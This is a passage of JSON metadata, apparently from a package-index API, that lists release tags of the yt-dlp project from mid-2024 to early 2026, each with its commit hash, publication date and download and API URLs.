:null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.01.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.01.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.01.31/manifests"},{"name":"2026.01.29","sha":"e4c120f315b42a3956c3d85f2bc9245c4f0e8350","kind":"commit","published_at":"2026-01-29T17:00:19.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2026.01.29","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2026.01.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2026.01.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.01.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2026.01.29/manifests"},{"name":"2025.12.08","sha":"aa220d0aaac0f1562af658e34a28de72ec0ecb9f","kind":"commit","published_at":"2025-12-08T00:06:43.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.12.08","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.12.08","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.12.08","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.12.08","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.12.08/manifests"},{"name":"2025.11.12","sha":"5977782142ca7e41240f07202cc9b8dcc087b401","kind":"commit","published_at":"2025-11-12T00:51:01.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.11.12","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.11.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.11.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.11.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.11.12/manifests"},{"name":"2025.10.22","sha":"a75399d89f90b249ccfda148987e10bc688e2f84","kind":"commit","published_at":"2025-10-22T19:42:16.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.10.22","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.10.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.10.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.10.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.10.22/manifests"},{"name":"2025.10.14","sha":"264044286dc30a3dcbe48134f6bebda90b3e43a2","kind":"commit","published_at":"2025-10-14T23:29:27.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.10.14","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.10.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.10.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.10.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.10.14/manifests"},{"name":"2025.09.26","sha":"88e2a2de8e2fb247b3e2c55891625b7a148f09e5","kind":"commit","published_at":"2025-09-26T22:13:00.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.09.26","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.09.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.09.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.09.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.09.26/manifests"},{"name":"2025.09.23","sha":"4429fd0450a3fbd5e89573e06533c1a0874fae42","kind":"commit","published_at":"2025-09-23T06:45:05.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.09.23","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.09.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.09.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.09.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.09.23/manifests"},{"name":"2025.09.05","sha":"7c27965ff6495f9cb8774a0264bc77b49de57207","kind":"commit","published_at":"2025-09-05T22:46:00.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.09.05","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.09.05","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.09.05","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.09.05","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.09.05/manifests"},{"name":"2025.08.27","sha":"487a90c8efe74644b14a1324374473960def41ae","kind":"commit","published_at":"2025-08-27T23:56:39.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.08.27","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.08.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.08.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.27/manifests"},{"name":"2025.08.22","sha":"f1ba9f4ddb479ef3d0a19f926b62b0a2ce48505e","kind":"commit","published_at":"2025-08-22T23:59:02.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.08.22","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.08.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.08.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.22/manifests"},{"name":"2025.08.20","sha":"575753b9f398da0aca52bfb675779fd5d1ae68b5","kind":"commit","published_at":"2025-08-20T02:51:33.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.08.20","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.08.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.08.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.20/manifests"},{"name":"2025.08.11","sha":"b7de89c910ac5f202bfa69fbc46ad19e833d2cbf","kind":"commit","published_at":"2025-08-11T03:54:46.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.08.11","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.08.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.08.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.08.11/manifests"},{"name":"2025.07.21","sha":"035b1ece8f382358f5503bf5011ca098f6c9eaf9","kind":"commit","published_at":"2025-07-21T23:47:12.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.07.21","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.07.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.07.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.07.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.07.21/manifests"},{"name":"2025.06.30","sha":"30fa54280b363265d0235b0aab3b1725eb0f61b8","kind":"commit","published_at":"2025-06-30T23:47:20.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.06.30","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.06.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.06.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.06.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.06.30/manifests"},{"name":"2025.06.25","sha":"eff0759705ffcb0c9b9bb59433e9b3acbbd36ddc","kind":"commit","published_at":"2025-06-25T23:53:38.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.06.25","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.06.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.06.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.06.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.06.25/manifests"},{"name":"2025.06.09","sha":"ba090caeaaaedfca4a2984f5cce104431759b163","kind":"commit","published_at":"2025-06-09T23:41:52.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.06.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.06.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.06.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.06.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.06.09/manifests"},{"name":"2025.05.22","sha":"415b4c9f955b1a0391204bd24a7132590e7b3bdb","kind":"commit","published_at":"2025-05-22T09:49:11.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.05.22","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.05.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.05.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.05.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.05.22/manifests"},{"name":"2025.04.30","sha":"b77e5a553a5d91bd059c3e3f1f3698be417132bf","kind":"commit","published_at":"2025-04-30T23:24:48.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.04.30","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.04.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.04.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.04.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.04.30/manifests"},{"name":"2025.03.31","sha":"349f36606fa7fb658216334a73ac7825c13503c2","kind":"commit","published_at":"2025-03-31T21:54:27.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.03.31","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.03.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.03.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.31/manifests"},{"name":"2025.03.27","sha":"3ddbebb3c69c9da88d8030d54d9bff9c8f49465c","kind":"commit","published_at":"2025-03-27T23:45:56.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.03.27","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.03.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.03.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.27/manifests"},{"name":"2025.03.26","sha":"6eaa574c8217ea9b9c5177fece0714fa622da34c","kind":"commit","published_at":"2025-03-26T00:04:51.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.03.26","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.03.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.03.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.26/manifests"},{"name":"2025.03.25","sha":"336b33e72fe0105a33c40c8e5afdff720e17afdb","kind":"commit","published_at":"2025-03-25T00:07:18.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.03.25","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.03.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.03.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.25/manifests"},{"name":"2025.03.21","sha":"b4488a9e128bf826c3ffbf2d2809ce3141016adb","kind":"commit","published_at":"2025-03-21T23:49:09.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.03.21","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.03.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.03.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.03.21/manifests"},{"name":"2025.02.19","sha":"9c3e8b16967cb6582712b6b7e4c107631d3873d0","kind":"commit","published_at":"2025-02-19T02:42:18.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.02.19","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.02.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.02.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.02.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.02.19/manifests"},{"name":"2025.01.26","sha":"5ff7a43623e3a92270f66a7e37b5fc53d7a57fdf","kind":"commit","published_at":"2025-01-26T03:54:22.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.01.26","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.01.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.01.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.01.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.01.26/manifests"},{"name":"2025.01.15","sha":"bbc7591d3bb650f96cd1f1584055888cc919f14a","kind":"commit","published_at":"2025-01-15T23:50:41.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.01.15","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.01.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.01.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.01.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.01.15/manifests"},{"name":"2025.01.12","sha":"a3c0321825110d7eb447a6e6f393cec2bade34f9","kind":"commit","published_at":"2025-01-12T23:35:35.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2025.01.12","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2025.01.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2025.01.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.01.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2025.01.12/manifests"},{"name":"2024.12.23","sha":"3905f64920ed078d9eeb5640884f5854e01d744d","kind":"commit","published_at":"2024-12-23T23:47:20.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.12.23","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.12.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.12.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.23/manifests"},{"name":"2024.12.13","sha":"2037a6414f81db8080ca724dca506fde91974c5d","kind":"commit","published_at":"2024-12-13T10:35:40.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.12.13","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.12.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.12.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.13/manifests"},{"name":"2024.12.06","sha":"6fef824025b3c2f0ca8af7ac9fa04b10d09a3591","kind":"commit","published_at":"2024-12-06T16:07:07.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.12.06","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.12.06","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.12.06","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.06","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.06/manifests"},{"name":"2024.12.03","sha":"cfa76f35d25eaf993437df8b833befbbf9255331","kind":"commit","published_at":"2024-12-03T20:30:33.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.12.03","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.12.03","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.12.03","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.03","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.12.03/manifests"},{"name":"2024.11.18","sha":"f9197295388b44ee0a8992cb00f361c7ef42acdb","kind":"commit","published_at":"2024-11-18T05:45:05.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.11.18","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.11.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.11.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.11.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.11.18/manifests"},{"name":"2024.11.04","sha":"282e19db827f0951c783ac946429f662bcf2200c","kind":"commit","published_at":"2024-11-04T00:45:21.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.11.04","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.11.04","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.11.04","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.11.04","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.11.04/manifests"},{"name":"2024.10.22","sha":"2a246749ec5ead2c6b485e702a1c54c79bd0e51a","kind":"commit","published_at":"2024-10-22T05:03:55.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.10.22","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.10.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.10.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.10.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.10.22/manifests"},{"name":"2024.10.07","sha":"983c58fb7a809d827b5821d493819da954f2c00b","kind":"commit","published_at":"2024-10-07T23:41:00.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.10.07","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.10.07","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.10.07","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.10.07","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.10.07/manifests"},{"name":"2024.09.27","sha":"5945fc1945a4001537072e39f03725f944437834","kind":"commit","published_at":"2024-09-27T23:01:13.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.09.27","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.09.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.09.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.09.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.09.27/manifests"},{"name":"2024.08.06","sha":"a065086640e888e8d58c615d52ed2f4f4e4c9d18","kind":"commit","published_at":"2024-08-06T03:03:12.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.08.06","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.08.06","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.08.06","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.08.06","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.08.06/manifests"},{"name":"2024.08.01","sha":"abe10131fc235b7cc7af39f833e417f4264c1fdb","kind":"commit","published_at":"2024-08-01T15:11:19.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.08.01","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.08.01","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.08.01","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.08.01","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.08.01/manifests"},{"name":"2024.07.25","sha":"6b1e430d8e4af56cd4fcb8bdc00fca9b79356464","kind":"commit","published_at":"2024-07-25T03:29:27.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.07.25","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.07.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.25/manifests"},{"name":"2024.07.16","sha":"37c233562db26dd3401fa188dbeb9cabdb284a62","kind":"commit","published_at":"2024-07-16T22:08:42.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.07.16","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.07.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.16/manifests"},{"name":"2024.07.09","sha":"bbf84bf55e64a7e804a3da7029dac9a3aa26577c","kind":"commit","published_at":"2024-07-09T01:51:07.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.07.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.07.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.09/manifests"},{"name":"2024.07.08","sha":"1a6ac547ea3dbd1814e37dcb6ab14e40fe068ee2","kind":"commit","published_at":"2024-07-08T22:19:18.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.07.08","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.08","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.07.08","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.08","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.08/manifests"},{"name":"2024.07.07","sha":"39bc699d2e6e39b26af028cc09a7b1d460d00e31","kind":"commit","published_at":"2024-07-07T21:35:02.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.07.07","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.07","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.07.07","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.07","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.07/manifests"},{"name":"2024.07.02","sha"